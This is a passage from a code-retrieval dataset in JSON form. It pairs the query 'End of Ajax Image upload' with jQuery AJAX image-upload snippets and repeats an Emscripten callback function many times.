{\n while(callbacks.length > 0) {\n var callback = callbacks.pop();\n var func = callback.func;\n if (typeof func === 'number') {\n func = FUNCTION_TABLE[func];\n }\n func(callback.arg === undefined ? null : callback.arg);\n }\n}", "title": "" }, { "docid": "cd96fe41f83d25463e299ac43e3c0437", "score": "0.52739656", "text": "function callRuntimeCallbacks(callbacks) {\n while(callbacks.length > 0) {\n var callback = callbacks.pop();\n var func = callback.func;\n if (typeof func === 'number') {\n func = FUNCTION_TABLE[func];\n }\n func(callback.arg === undefined ? null : callback.arg);\n }\n}", "title": "" }, { "docid": "cd96fe41f83d25463e299ac43e3c0437", "score": "0.52739656", "text": "function callRuntimeCallbacks(callbacks) {\n while(callbacks.length > 0) {\n var callback = callbacks.pop();\n var func = callback.func;\n if (typeof func === 'number') {\n func = FUNCTION_TABLE[func];\n }\n func(callback.arg === undefined ? null : callback.arg);\n }\n}", "title": "" }, { "docid": "cd96fe41f83d25463e299ac43e3c0437", "score": "0.52739656", "text": "function callRuntimeCallbacks(callbacks) {\n while(callbacks.length > 0) {\n var callback = callbacks.pop();\n var func = callback.func;\n if (typeof func === 'number') {\n func = FUNCTION_TABLE[func];\n }\n func(callback.arg === undefined ? null : callback.arg);\n }\n}", "title": "" }, { "docid": "cd96fe41f83d25463e299ac43e3c0437", "score": "0.52739656", "text": "function callRuntimeCallbacks(callbacks) {\n while(callbacks.length > 0) {\n var callback = callbacks.pop();\n var func = callback.func;\n if (typeof func === 'number') {\n func = FUNCTION_TABLE[func];\n }\n func(callback.arg === undefined ? null : callback.arg);\n }\n}", "title": "" }, { "docid": "cd96fe41f83d25463e299ac43e3c0437", "score": "0.52739656", "text": "function callRuntimeCallbacks(callbacks) {\n while(callbacks.length > 0) {\n var callback = callbacks.pop();\n var func = callback.func;\n if (typeof func === 'number') {\n func = FUNCTION_TABLE[func];\n }\n func(callback.arg === undefined ? null : callback.arg);\n }\n}", "title": "" }, { "docid": "cd96fe41f83d25463e299ac43e3c0437", "score": "0.52739656", "text": "function callRuntimeCallbacks(callbacks) {\n while(callbacks.length > 0) {\n var callback = callbacks.pop();\n var func = callback.func;\n if (typeof func === 'number') {\n func = FUNCTION_TABLE[func];\n }\n func(callback.arg === undefined ? null : callback.arg);\n }\n}", "title": "" }, { "docid": "cd96fe41f83d25463e299ac43e3c0437", "score": "0.52739656", "text": "function callRuntimeCallbacks(callbacks) {\n while(callbacks.length > 0) {\n var callback = callbacks.pop();\n var func = callback.func;\n if (typeof func === 'number') {\n func = FUNCTION_TABLE[func];\n }\n func(callback.arg === undefined ? null : callback.arg);\n }\n}", "title": "" }, { "docid": "cd96fe41f83d25463e299ac43e3c0437", "score": "0.52739656", "text": "function callRuntimeCallbacks(callbacks) {\n while(callbacks.length > 0) {\n var callback = callbacks.pop();\n var func = callback.func;\n if (typeof func === 'number') {\n func = FUNCTION_TABLE[func];\n }\n func(callback.arg === undefined ? null : callback.arg);\n }\n}", "title": "" }, { "docid": "cd96fe41f83d25463e299ac43e3c0437", "score": "0.52739656", "text": "function callRuntimeCallbacks(callbacks) {\n while(callbacks.length > 0) {\n var callback = callbacks.pop();\n var func = callback.func;\n if (typeof func === 'number') {\n func = FUNCTION_TABLE[func];\n }\n func(callback.arg === undefined ? null : callback.arg);\n }\n}", "title": "" }, { "docid": "cd96fe41f83d25463e299ac43e3c0437", "score": "0.52739656", "text": "function callRuntimeCallbacks(callbacks) {\n while(callbacks.length > 0) {\n var callback = callbacks.pop();\n var func = callback.func;\n if (typeof func === 'number') {\n func = FUNCTION_TABLE[func];\n }\n func(callback.arg === undefined ? null : callback.arg);\n }\n}", "title": "" }, { "docid": "cd96fe41f83d25463e299ac43e3c0437", "score": "0.52739656", "text": "function callRuntimeCallbacks(callbacks) {\n while(callbacks.length > 0) {\n var callback = callbacks.pop();\n var func = callback.func;\n if (typeof func === 'number') {\n func = FUNCTION_TABLE[func];\n }\n func(callback.arg === undefined ? null : callback.arg);\n }\n}", "title": "" }, { "docid": "cd96fe41f83d25463e299ac43e3c0437", "score": "0.52739656", "text": "function callRuntimeCallbacks(callbacks) {\n while(callbacks.length > 0) {\n var callback = callbacks.pop();\n var func = callback.func;\n if (typeof func === 'number') {\n func = FUNCTION_TABLE[func];\n }\n func(callback.arg === undefined ? null : callback.arg);\n }\n}", "title": "" }, { "docid": "cd96fe41f83d25463e299ac43e3c0437", "score": "0.52739656", "text": "function callRuntimeCallbacks(callbacks) {\n while(callbacks.length > 0) {\n var callback = callbacks.pop();\n var func = callback.func;\n if (typeof func === 'number') {\n func = FUNCTION_TABLE[func];\n }\n func(callback.arg === undefined ? null : callback.arg);\n }\n}", "title": "" }, { "docid": "cd96fe41f83d25463e299ac43e3c0437", "score": "0.52739656", "text": "function callRuntimeCallbacks(callbacks) {\n while(callbacks.length > 0) {\n var callback = callbacks.pop();\n var func = callback.func;\n if (typeof func === 'number') {\n func = FUNCTION_TABLE[func];\n }\n func(callback.arg === undefined ? null : callback.arg);\n }\n}", "title": "" }, { "docid": "cd96fe41f83d25463e299ac43e3c0437", "score": "0.52739656", "text": "function callRuntimeCallbacks(callbacks) {\n while(callbacks.length > 0) {\n var callback = callbacks.pop();\n var func = callback.func;\n if (typeof func === 'number') {\n func = FUNCTION_TABLE[func];\n }\n func(callback.arg === undefined ? null : callback.arg);\n }\n}", "title": "" } ]
1f46c083c930a9862582689abdfd5020
End of Ajax Image upload
[ { "docid": "576e983d62adf5e2585d4f291d711928", "score": "0.0", "text": "function resetGallery() {\n $(\".feeds a[rel^='prettyPhoto']\").prettyPhoto({ theme: 'facebook' });\n}", "title": "" } ]
[ { "docid": "0d2fa67663a7bb3304a17063b1d5d60f", "score": "0.72011095", "text": "onUploadComplete(){}", "title": "" }, { "docid": "d9e30a9af55eb967538a8386382d00d4", "score": "0.69774824", "text": "function uploadDone(e)\n {\n progressLine.hide();\n\n if (e)\n {\n try\n {\n e = JSON.parse(e);\n }\n catch (error)\n {\n HCFunctions.notify('error', error);\n }\n\n if (e.success == false)\n {\n HCFunctions.notify('error', e.message);\n removeThumbnail();\n }\n else\n {\n data.id = e.id;\n data.url = e.url;\n placeOnStage();\n }\n }\n }", "title": "" }, { "docid": "e9ba215aec9ce2e70c7f5e47b1e69a16", "score": "0.68977195", "text": "function uploadImage(id){\n\n $(\"#img-upload-\"+id).ajaxForm({\n success: function(response) {\n \n// $(\"#viewimage-\"+id).html('');\n// $(\"#viewimage-\"+id).html('<img src=\"assets/images/loading/loading.gif\" />');\n// \n var obj = jQuery.parseJSON(response);\n \n console.log(obj.error);\n \n if(obj.error){\n alert(obj.error); \n }else{\n \n \n displayIMG(obj,id);\n \n $(\"#\"+id+\"DesignIMG_id\").val(obj.imagename);\n \n }}}).submit();\n \n \n \n}", "title": "" }, { "docid": "fc951904fd3f01880d55374598f9baf5", "score": "0.68654424", "text": "function done(e, data) {\n\t\t\t\t$(data.files).each(function(){\n\t\t\t\t\tvar fileIcon = $this.find('[data-hash=' + getFileHash(this) + ']');\n\t\t\t\t\tfileIcon.find('.upload-progress').val(100).trigger('change');\n\t\t\t\t\tfileIcon.find('.panel.flip').removeClass('flip');\n\t\t\t\t\t\n\t\t\t\t\tdrawImagePreview(this, fileIcon);\n\n\t\t\t\t\t//There are some weird 3d issues with webkit. This removes\n\t\t\t\t\t//the 3D effect which causes rendering glitches on the page\n\t\t\t\t\tsetTimeout(function(){\n\t\t\t\t\t\tfileIcon.removeClass('panel');\n\t\t\t\t\t\tfileIcon.find('.back').remove();\n\t\t\t\t\t}, 500);\n\t\t\t\t});\n\t\t\t}", "title": "" }, { "docid": "4e6397a9c299f8a8cfefd1f1ee3b8c8f", "score": "0.68618184", "text": "function uploadComplete(evt) {\n\t\tdocument.getElementById('files-to-upload').value='';\n\t\t$('#file-upload-status').show();\n\t\tconsole.log(\"The ID of the saved file: [\" + evt.target.responseText + \"]\");\n\t}", "title": "" }, { "docid": "6e9d178b1ab07a1c66fae7d4c839edbc", "score": "0.679119", "text": "function completeUpload()\n{\n var done_ele=$(\"#upload_done\");\n\n if($(done_ele).attr(\"value\")==\"success\")\n {\n // must be defined for app page\n execPostUploadScript();\n //resetUploadForm();\n }\n else\n {\n var fail_contents=\"\";\n // The form must be preserved because it contains the POST values,\n // which would otherwise be lost.\n fail_contents+=$(\"#upload_form\").html();\n fail_contents+=\"<H2>File Upload Failed</H2>\";\n fail_contents+=\"<p>Make sure you are uploading the correct file.</p>\";\n\n $(\"#upload_form\").html(fail_contents);\n }\n}", "title": "" }, { "docid": "88600b559700a64611f71a3dc203957a", "score": "0.6651707", "text": "function uploadData(formdata){\n\n //console.log(\"apply User current where id :\"+ currentUser.id);\n\n mainPhotoAdd.params.id.bg_message.empty();\n var message = Translator.trans('processing', {}, 'photo');\n mainPhotoAdd.params.id.bg_message.html(\"<span class='text-success'>1/\"+ countfile+ \"</span> <br/> \"+message+\"<span class='text-danger'>\"+ currentImg[0]+ \"</span> ... \");\n //console.log(formdata[currentImg]);\n formdata.append('id',currentUser.id);\n // alert(mainPhotoAdd.params.api.url);\n // console.log(formdata.get(\"file\"));\n $.ajax({\n url: mainPhotoAdd.params.api.upload.url,\n type: mainPhotoAdd.params.api.upload.method,\n data: formdata,\n crossDomain: true,\n headers : {\"X-Auth-Token\" : currentUser.token},\n contentType: false,\n processData: false,\n dataType: mainPhotoAdd.params.api.upload.type,\n success: function(response){\n console.log(response);\n //incrementer l'index\n mainPhotoAdd.params.id.bg_notification_p.html(currentImg[currentIndex]);\n mainPhotoAdd.params.id.bg_success.fadeIn();\n t= setInterval(function(){\n clearInterval(t);\n mainPhotoAdd.params.id.bg_notification_p.html(\"\");\n mainPhotoAdd.params.id.bg_success.fadeOut();\n },1000);\n currentIndex++;\n number++;\n if(currentImg[currentIndex]!=null)\n {\n mainPhotoAdd.params.id.bg_message.empty();\n var message = Translator.trans('processing', {}, 'photo');\n mainPhotoAdd.params.id.bg_message.html(\"<span class='text-success'>\"+(currentIndex+1)+\"/\"+ countfile+ \"</span> <br/> \"+ message+\"<span class='text-danger'>\"+ currentImg[currentIndex]+ \"</span> ... \");\n }\n addThumbnail(response);\n },\n error: function (message) { //en cas d'erreur\n mainPhotoAdd.params.id.bg_notification_p.html(currentImg[currentIndex]+\"<span class='text-danger'>\"+message.responseText+\"</span>\");\n mainPhotoAdd.params.id.bg_error.fadeIn();\n var errorMessage = message.responseText;\n\n var error = Translator.trans('sub.modal.state.error',{},'photo');\n t= setInterval(function(){\n clearInterval(t);\n number++;\n var content =\n '<tr>' +\n '<td> ' +\n number +\n '</td>'+\n '<td> ' +\n currentImg[currentIndex]+\n '</td>'+\n '<td> ' +\n '<span class=\"text-danger\">' +\n error +\n ' </span>'+\n '</td>'+\n '<td> ' +\n errorMessage +\n '</td>'+\n '</tr>';\n mainPhotoAdd.params.id.modal_photo_table.append(content);\n //incremente le compteur\n currentIndex++;\n mainPhotoAdd.params.id.bg_notification_p.html(\"\");\n mainPhotoAdd.params.id.bg_error.fadeOut();\n\n mainPhotoAdd.params.id.bg_message.empty();\n var message = Translator.trans('processing', {}, 'photo');\n mainPhotoAdd.params.id.bg_message.html(\"<span class='text-success'>\"+(currentIndex+1)+\"/\"+ countfile+ \"</span> <br/> \"+ message+\"<span class='text-danger'>\"+ currentImg[currentIndex]+ \"</span> ... \");\n\n // on teste si le countfile a attient l'index max du tableau de fichier\n if(countfile==currentIndex)\n {\n //on cache le bg\n mainPhotoAdd.params.id.bg.slideUp();\n\n\n // affiche le modal pour la notification\n mainPhotoAdd.params.id.modal_photo.modal(\"show\");\n\n }\n\n },1000);\n console.log(message.responseText);\n },\n complete:function(){\n console.log(\"Request finished.\");\n }\n\n });\n\n\n }", "title": "" }, { "docid": "ab1b28b4f7a033ccf890038da733680e", "score": "0.6633169", "text": "function on_Upload_Complete(e) {\n\ttotal_File_Uploaded += document.getElementById('files').files[files_Uploaded].size;\n\tfiles_Uploaded++;\n\tdebug_element('complete ' + files_Uploaded + \" of \" + file_Count);\n\tdebug_element('TotalFileUploaded: ' + total_File_Uploaded);\n\tif (files_Uploaded < file_Count) {\n\t\tuploadNext();\n\t} else {\n\t\tvar bar = document.getElementById('bar');\n\t\tbar.style.width = '100%';\n\t\tbar.innerHTML = '100 % complete';\n\t\tbootbox.alert('Finished uploading file(s)');\n\n\t}\n}", "title": "" }, { "docid": "2a2547109647e89b5a37f738a63e2c6b", "score": "0.66027236", "text": "function upload(file) {\n var formData = new FormData();\n formData.append('file', file);\n //Denied upload when one another is in progress\n $('.upload-file').hide()\n $.ajax({\n url: window.location.href + 'index.php/upload/do_upload',\n data: formData,\n cache: false,\n contentType: false,\n processData: false,\n type: 'post',\n xhr: function () {\n var xhr = null;\n if (window.ActiveXObject) {\n xhr = new window.ActiveXObject(\"Microsoft.XMLHTTP\");\n }\n else {\n xhr = new window.XMLHttpRequest();\n }\n //Show progressbar, and refresh upload progress\n progressContainer.show();\n progressbar.show();\n xhr.upload.addEventListener(\"progress\", countProgress, false);\n return xhr;\n }\n }).done(function () {\n setTimeout(function () {\n //Reset and hide progressbar, after 2500 millis\n showProgress(0);\n progressContainer.hide();\n progressbar.hide();\n //Enable the file upload again\n $('.upload-file').show();\n //Load the last updated image to the page\n loadImageList('last');\n }, 2500);\n }).fail(function () {\n //Show an error message on fail\n showError('A kép feltöltése nem sikerült');\n //Enable the file upload again\n $('.upload-file').show();\n });\n}", "title": "" }, { "docid": "ba1c2a86e87f83d19c6ac0ef621abfee", "score": "0.6599041", "text": "function file_upload_complete( upload_id, file_id, file, thumb_src, filename, content_id ){\n\t\tupload_counter--\n\t\t$('.upload_li_'+upload_id).fadeOut(\"fast\", function(){\n\t\t\t\t$('.upload_li_'+upload_id ).remove();\n\t\t\t\tif( upload_counter == 0 )\n\t\t\t\t\t$('#upload_list').slideUp()\n\t\t});\n\n\t\tadd_thumb( file_id, file, thumb_src, filename, content_id )\n\t}", "title": "" }, { "docid": "e848e04b043d443ad4ffb206fff0009a", "score": "0.6591486", "text": "function uploadNext() {\n\t\t\n\t\tvar fd = new FormData();\n\t\tvar file = document.getElementById('files').files[filesUploaded];\n\t\tfd.append(\"multipartFile\", file);\n\t\t\n\t\t$.ajax({\n\t\t\turl : \"request-SendMultipleFileToRestServer\",\n\t\t\ttype : \"POST\",\n\t\t\tdata : fd,\n\t\t\tenctype : 'multipart/form-data',\n\t\t\tprocessData : false,\n\t\t\tcontentType : false\n\t\t}).done(function(data) {\n\t\t\tlistUploadedFiles.push(data);\n\t\t\tonUploadComplete();\n\t\t\tshowUploadedFile(listUploadedFiles);\n\t\t}).fail(function(jqXHR, textStatus) {\n\t\t\talert(jqXHR.responseText);\n\t\t\talert('File upload failed.');\n\t\t}).always(function() {\n\t\t\t$('#loaderContainer').hide();\n\t\t});\t\n\t}", "title": "" }, { "docid": "3796c2007c2398f5c7fac35e39eef2b5", "score": "0.656609", "text": "function submitImage(id) {\n var aFormData = new FormData();\n aFormData.append(\"file\", $('#fileToUpload').get(0).files[0]);\n \n $.ajax({\n url: \"../Profile/ajax/upload.php?empCode=\"+id, // Url to which the request is send\n type: \"POST\", // Type of request to be send, called as method\n data: aFormData, // Data sent to server, a set of key/value pairs (i.e. form fields and values)\n contentType: false, // The content type used when sending data to the server.\n cache: false, // To unable request pages to be cached\n processData:false, // To send DOMDocument or non processed data file it is set to false\n beforeSend: function(){\n loading();\n },\n success: function(data){\n unloading();\n \n //if(data == \"success\"){\n //$(\"#message1\").html(\"Image is Updated Successfully\");\n // toastmsg(\"Image is Updated Successfully\");\n // }else{\n // $(\"#message\").html(data);\n //toasterrormsg(data)\n // }\n \n show_EditPic(id);\n show_headerPic(id);\n\n }\n });\n}", "title": "" }, { "docid": "158f6397f5f71eae385b75a569c19c20", "score": "0.6507001", "text": "function imagesUploaded() {\n $('body').append($('#trashIcon'));\n systemNotifications.showSuccess(\"Success\", \"Images uploaded.\");\n resetFormElement($('#newItem'));\n loadImages();\n}", "title": "" }, { "docid": "db53b31c91389e9bef28421c9bb36632", "score": "0.6492434", "text": "function upload_agent_img_perfil(){\n\tvar newformData = new FormData($(\"#NewForm_SendAgentImgPerfil\")[0]);\n\n\t$.ajax({\n \turl: \"private/desktop0/html/build/upload_agent_img_perfil.php\",\n \ttype: \"POST\",\n \tdata: newformData,\n \tcontentType: false,\n \tprocessData: false,\n \tsuccess: function(data){\n\t\t\t$(\".show_agent_img_perfil\").html(data);\n\t\t\t$(\".show_agent_img_perfil\").delay(800).fadeIn(2000);\n \t}\n \t});\n}", "title": "" }, { "docid": "3e67b747d7c54638d1b722adc2939f2c", "score": "0.6389859", "text": "function ajaxFileUpload(pBtnId, pImgDesc, pDocId, pUpdateHolder, pPicIdHolder, pPlateVal, pPref, pResize, pPosition) {\n\n\tvar photoid = $(\"input[name*='\" + pPicIdHolder + \"']\").val();\n\tvar plateid = $(\"input[name*='plate_id']\").val();\n\tvar btnUpload = $('#' + pBtnId);\n\n\tvar AjaxFileUpload = new AjaxUpload(btnUpload, {\n\t\taction: '/lib/UploadPhoto.php',\n\t\tresponseType: 'json',\n\t\tname: 'uploadfile',\n\t\thoverClass: 'UploadHover',\n\t\tdata: {\n\t\t\tdocument_id: pDocId,\n\t\t\t//description: ($('#' + pImgDesc).val() ? $('#' + pImgDesc).val() : ''),\n\t\t\tphoto_id: photoid,\n\t\t\timage_pref: pPref,\n\t\t\tplateval: pPlateVal,\n\t\t\tposition: pPosition,\n\t\t\tplateid: plateid,\n\t\t},\n\t\tonSubmit: function(file, ext){\n\t\t\tshowLoading();\n\t\t\tvar newphotoid = $(\"input[name*='\" + pPicIdHolder + \"']\").val(); // get uploaded pic_id\n\n\t\t\tvar plateid = 0;\n\t\t\tif(pResize) {\n\t\t\t\tplateid = 0;\n\t\t\t} else {\n\t\t\t\tplateid = $(\"input[name*='plate_id']\").val();\n\t\t\t}\n\t\t\tvar desc = $('#' + pImgDesc + '_photo').val();\n\t\t\tif(!desc || typeof(desc) == 'undefined') {\n\t\t\t\tdesc = '';\n\t\t\t}\n\t\t\tAjaxFileUpload.setData({\n\t\t\t\t\tdocument_id: pDocId,\n\t\t\t\t\tdescription: desc,\n\t\t\t\t\tphoto_id: newphotoid,\n\t\t\t\t\timage_pref: pPref,\n\t\t\t\t\tplateval: pPlateVal,\n\t\t\t\t\tposition: pPosition,\n\t\t\t\t\tplateid: plateid,\n\t\t\t});\n\n\t\t\t if (! (ext && /^(jpg|png|jpeg|gif)$/i.test(ext))){\n\t\t\t\thideLoading();\n\t\t\t\t$('#' + pUpdateHolder).text('Only JPG, PNG or GIF files are allowed');\n\t\t\t\treturn false;\n\t\t\t}\n\t\t},\n\t\tonComplete: function(file, response){\n\t\t\thideLoading();\n\t\t\tif(response != 0 && !response['err_cnt']){\n\t\t\t\t$(\"input[name*='\" + pPicIdHolder + \"']\").val(response['pic_id']);\n\t\t\t\tif(response['plate_id'] != 0)\n\t\t\t\t\t$(\"input[name*='plate_id']\").val(response['plate_id']);\n\t\t\t\tif(pResize){\n\n\t\t\t\t\tvar dims = jQuery.parseJSON(response['img_dims']); // get picture dimensions and resize container\n\t\t\t\t\t$('.P-Plate-Part').width(dims[0] + 20);\n\t\t\t\t\t$('.P-Plate-Part-WithPic').width(dims[0] + 20);\n\t\t\t\t\t$('.P-Plate-Part').height(dims[1] + 20);\n\t\t\t\t\t$('.P-Plate-Part-WithPic').height(dims[1] + 20);\n\t\t\t\t\t$('.P-Add-Plate-Holder').width(dims[0]);\n\t\t\t\t\t$('.P-Add-Plate-Holder').height(dims[1]);\n\t\t\t\t\t$(\"#uploaded_photo\").attr(\"src\", \"/showfigure.php?filename=\" + response['html'] + \".jpg\");\n\t\t\t\t\t$('#' + pUpdateHolder).closest('.P-Plate-Part').removeClass('P-Plate-Part').addClass('P-Plate-Part-WithPic');\n\t\t\t\t\t$('#' + pUpdateHolder).html('<img id=\"uploaded_photo\" src=\"/showfigure.php?filename=' + response['html'] + '.jpg\"></img>');\n\t\t\t\t\t$(\"#uploaded_photo\").attr(\"src\",\"/showfigure.php?filename=\" + response['html'] + \".jpg&\" + Math.random()); // za da se refreshne snimkata\n\t\t\t\t\tif(response['pic_id']) { //update pic holder\n\t\t\t\t\t\t$('#P-Figures-Row-' + response['pic_id'] + ' .P-Picture-Holder').html('<img src=\"/showfigure.php?filename=c90x82y_' + response['pic_id'] + '.jpg&' + Math.random() + '\"></img>');\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\t$('#' + pUpdateHolder).closest('.P-Plate-Part').removeClass('P-Plate-Part').addClass('P-Plate-Part-WithPic');\n\t\t\t\t\t$('#' + pUpdateHolder).html('<img id=\"uploaded_photo_' + response['pic_id'] + '\" src=\"/showfigure.php?filename=' + response['html'] + '.jpg\"></img>');\n\t\t\t\t\t$(\"#uploaded_photo_\" + response['pic_id']).attr(\"src\",\"/showfigure.php?filename=\" + response['html'] + \".jpg&\" + Math.random()); // za da se refreshne snimkata\n\t\t\t\t}\n\t\t\t} else{\n\t\t\t\tif(response['err_msg']) {\n\t\t\t\t\t$('#' + pUpdateHolder).html(response['err_msg']);\n\t\t\t\t} else {\n\t\t\t\t\t$('#' + pUpdateHolder).html('error uploading file');\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t});\n}", "title": "" }, { "docid": "47dd594b285c0e7bbee442cb547c1acc", "score": "0.63685805", "text": "function submit_photo(event) {\n\t// display the loading texte\n\t$('#loading_progress').html('<img src=\"/templates/home/js/jupload-crop-images/loader.gif\"> Đang tải ảnh của bạn...');\n}", "title": "" }, { "docid": "a97605dac4fe24ca59ea3c48e1e94f20", "score": "0.6364721", "text": "uploadSuccess(imageElement, dragEvent, args, e) {\n imageElement.style.opacity = '1';\n imageElement.classList.add(CLS_IMG_FOCUS);\n this.parent.trigger(imageUploadSuccess, e, (e) => {\n if (!isNullOrUndefined(this.parent.insertImageSettings.path)) {\n let url = this.parent.insertImageSettings.path + e.file.name;\n imageElement.src = url;\n imageElement.setAttribute('alt', e.file.name);\n }\n });\n this.popupObj.close();\n this.showImageQuickToolbar(args);\n this.resizeStart(dragEvent, imageElement);\n this.uploadObj.destroy();\n }", "title": "" }, { "docid": "8bc7177d768015b507bf5931d92ef57e", "score": "0.63503695", "text": "function uploadImage() {\n\tvar data1;\n data1 = new FormData($(this)[0]);\n data1.append('file', $('#image')[0].files[0]);\n\t$.ajax({\n\t\turl : path+\"/user/uploadimage\",\n\t\ttype : \"POST\",\n\t\tcache: false,\n\t\tcontentType: false,\n\t\tprocessData: false,\n\t\tdata : data1,\n\t\tsuccess:function(data){\t\n\t\t\timg=data.IMG_NAME;\n\t\t\tupdateUserInfo();\n\t\t}\n\t});\n}", "title": "" }, { "docid": "90edebe6b7152fcd879ca11646f40006", "score": "0.63397926", "text": "uploadImage(e) {\n\t\t\t\t$('input[type=file]').trigger('click');\n\t\t\t\treturn false;\n\t\t\t}", "title": "" }, { "docid": "8d8cc2c97b6f87a73a0a100a853be0ef", "score": "0.63370746", "text": "function submit_photo(base_url) { \n\tjQuery('#loading_progress').html('<img src=\"'+base_url+'skin/frontend/base/default/customerpic/img/ajax-loader.gif\"> Uploading your photo...');\n}", "title": "" }, { "docid": "17bb32286854b0ad344c8b5f78c1ead2", "score": "0.63155067", "text": "function beforeSubmit() {\n\n $('#output').html(\"<b class='text-center'><img src='images/ajax-loader.gif' alt='' /> In progress...</b>\");\n\n\n //check whether browser fully supports all File API\n if (window.File && window.FileReader && window.FileList && window.Blob) {\n\n if (!$('#imageInput').val()) //check empty input filed\n {\n $(\"#output\").html(\"Select image !!!!!!\");\n return false\n }\n\n var fsize = $('#imageInput')[0].files[0].size; //get file size\n var ftype = $('#imageInput')[0].files[0].type; // get file type\n\n //allow only valid image file types\n switch (ftype) {\n case 'image/png': case 'image/gif': case 'image/jpeg': case 'image/pjpeg':\n break;\n default:\n $(\"#output\").html(\"<b>\" + ftype + \"</b> Unsupported file type!!\");\n return false\n }\n\n //Allowed file size is less than 1 MB (1048576)\n if (fsize > 1048576) {\n $(\"#output\").html(\"<b>\" + bytesToSize(fsize) + \"</b> Too big Image file! <br />Please reduce the size of your photo using an image editor.\");\n return false\n }\n\n\n encodeImageFileAsURL(ftype);\n }\n else {\n //Output error to older unsupported browsers that doesn't support HTML5 File API\n $(\"#output\").html(\"Please upgrade your browser, because your current browser lacks some new features we need!!\");\n return false;\n }\n}", "title": "" }, { "docid": "34a962c19b4a06512b6dbba3d2d9db63", "score": "0.6307367", "text": "function uploadImage() {\n var that = $('.point-edit form');\n if ($('input').is('#m-path-photo')) {\n var files = that[0][8].files;\n var fData = new FormData();\n if (files.length > 0) {\n $.each(files, function(key, value) { fData.append(key, value); });\n }\n $.ajax({\n url: dir + \"/upload_photo.php\",\n type: \"POST\",\n contentType: false,\n processData: false,\n data: fData,\n success: function(data) {\n var img_id = data.replace(/\\s+/g, '');\n if (img_id !== '') { $(\"#m-path-picture-id\").val(img_id); }\n updatePath();\n }\n });\n } else updatePath();\n }", "title": "" }, { "docid": "ceba5a7ab2fead284340f1553b6e7f72", "score": "0.63014555", "text": "function iu_uploadComplete(evt) {\n\tif (evt.target.responseText == -1) {\n\t\tvar error_colors = this.fail_colors.split(\",\");\t\t\n\t\tiu_ProcessUploadComplete(this.shortcode_id, error_colors[0], error_colors[1], error_colors[2], this.error_message_timelimit, this.error_message_admin_timelimit, this.error_message_unknown, \"\", \"\", this.finish_time);\n\t}\n\telse {\n\t\tJSONtext = iu_plugin_decode_string(evt.target.responseText.replace(/^\\s+|\\s+$/g,\"\"));\n\t\tvar JSONobj = JSON.parse(JSONtext);\n\t\tdocument.getElementById('inline_upload_progressbar_' + JSONobj.shortcode_id).style.display = \"none\";\n\t\tiu_ProcessUploadComplete(JSONobj.shortcode_id, JSONobj.color, JSONobj.bgcolor, JSONobj.borcolor, JSONobj.message, JSONobj.admin_messages, this.error_message_unknown, JSONobj.update_wpfilebase, JSONobj.redirect_link, 0);\n\t}\n}", "title": "" }, { "docid": "9639487ec76aea620b3148e19e6d710f", "score": "0.62930894", "text": "function directoryOnUploadComplete(event,ID,fileObj,data)\r\n{\r\n\tuploading--;\r\n\t\t\r\n\tvar jsonData;\r\n\ttry\r\n\t{\r\n\t\tjsonData = $.parseJSON(data);\r\n\t}\r\n\tcatch ( err )\r\n\t{\r\n\t\t/* webapp conf problem : probably file upload limit */\r\n\t\talert(\"Une erreur est survenue lors de l'envoi du fichier.\");\r\n\t\treturn;\r\n\t}\r\n\t\r\n\t\r\n\tif ( jsonData.directory_error != null )\r\n\t{\r\n\t\talert( jsonData.directory_error );\r\n\t}\r\n\t\r\n\tdirectoryDisplayUploadedFiles( jsonData );\r\n}", "title": "" }, { "docid": "56acc276596b546bfd59f08bd16b7c5b", "score": "0.62747836", "text": "function uploadImage(id){\n\t\t\n\t\t//creamos la variable Request \n\t\tif(window.XMLHttpRequest) {\n \t\t\tvar Req = new XMLHttpRequest(); \n \t\t}else if(window.ActiveXObject) { \n \t\t\tvar Req = new ActiveXObject(\"Microsoft.XMLHTTP\"); \n \t\t}\n\t\t\n\t\tvar data = new FormData(); \n\t\t\n\t\tvar ruta = new Array();\n\t\t\n\t\tif(document.getElementById('fileImagen').value != \"\"){\n\t\t\tvar archivos = document.getElementById(\"fileImagen\");//Damos el valor del input tipo file\n \t\t\tvar archivo = archivos.files; //obtenemos los valores de la imagen\n\t\t\tdata.append('ImageMax',archivo[0]);\n\t\t\truta.push(\"assets/img/app/coupon/max/\");\n\t\t}\n\t\t\n\t\tif(document.getElementById('fileImagenMin').value != \"\"){\n\t\t\tvar archivos = document.getElementById(\"fileImagenMin\");//Damos el valor del input tipo file\n \t\t\tvar archivo = archivos.files; //obtenemos los valores de la imagen\n\t\t\tdata.append('ImageMin',archivo[0]);\n\t\t\truta.push(\"assets/img/app/coupon/min/\");\n\t\t}\n\t\t\n\t\tif(document.getElementById('fileImagenApp').value != \"\"){\n\t\t\tvar archivos = document.getElementById(\"fileImagenApp\");//Damos el valor del input tipo file\n \t\t\tvar archivo = archivos.files; //obtenemos los valores de la imagen\n\t\t\tdata.append('ImageApp',archivo[0]);\n\t\t\truta.push(\"assets/img/app/coupon/app/\");\n\t\t}\n\t\t\n\t\trutaJson = JSON.stringify(ruta);\n\t\tdata.append('ruta',ruta);\n\t\t\n\t\tdata.append('nameImage',$('#imagenName').val());\n\t\t\n\t\t//cargamos los parametros para enviar la imagen\n\t\tReq.open(\"POST\", \"../admin/cupones/subirImagen\", true);\n\t\t\n\t\t//nos devuelve los resultados\n\t\tReq.onload = function(Event) {\n\t\t\t//Validamos que el status http sea ok \n\t\tif (Req.status == 200) {\n \t \t\t//Recibimos la respuesta de php\n \t\t\tvar nameImage = Req.responseText;\n\t\t\truta.length = 0;\n\t\t\tajaxSaveCoupon(nameImage,id);\n\t\t\t} else { \n \t\t\t//console.log(Req.status); //Vemos que paso.\n\t\t\t} \t\n\t\t};\n\t\t\n\t\t//Enviamos la petición \n \t\tReq.send(data);\n\t}", "title": "" }, { "docid": "49a5576e369514df6d551c05a7526599", "score": "0.6266701", "text": "function resizeAndUpload(url, file, onEnd) {\n alert('resizeAndUpload');\n var reader = new FileReader();\n reader.onloadend = function() {\n var tempImg = new Image();\n tempImg.src = reader.result;\n tempImg.onload = function() {\n var MAX_WIDTH = 400;\n var MAX_HEIGHT = 300;\n var tempW = tempImg.width;\n var tempH = tempImg.height;\n if (tempW > tempH) {\n if (tempW > MAX_WIDTH) {\n tempH *= MAX_WIDTH / tempW;\n tempW = MAX_WIDTH;\n }\n } else {\n if (tempH > MAX_HEIGHT) {\n tempW *= MAX_HEIGHT / tempH;\n tempH = MAX_HEIGHT;\n }\n }\n \n var canvas = document.createElement('canvas');\n 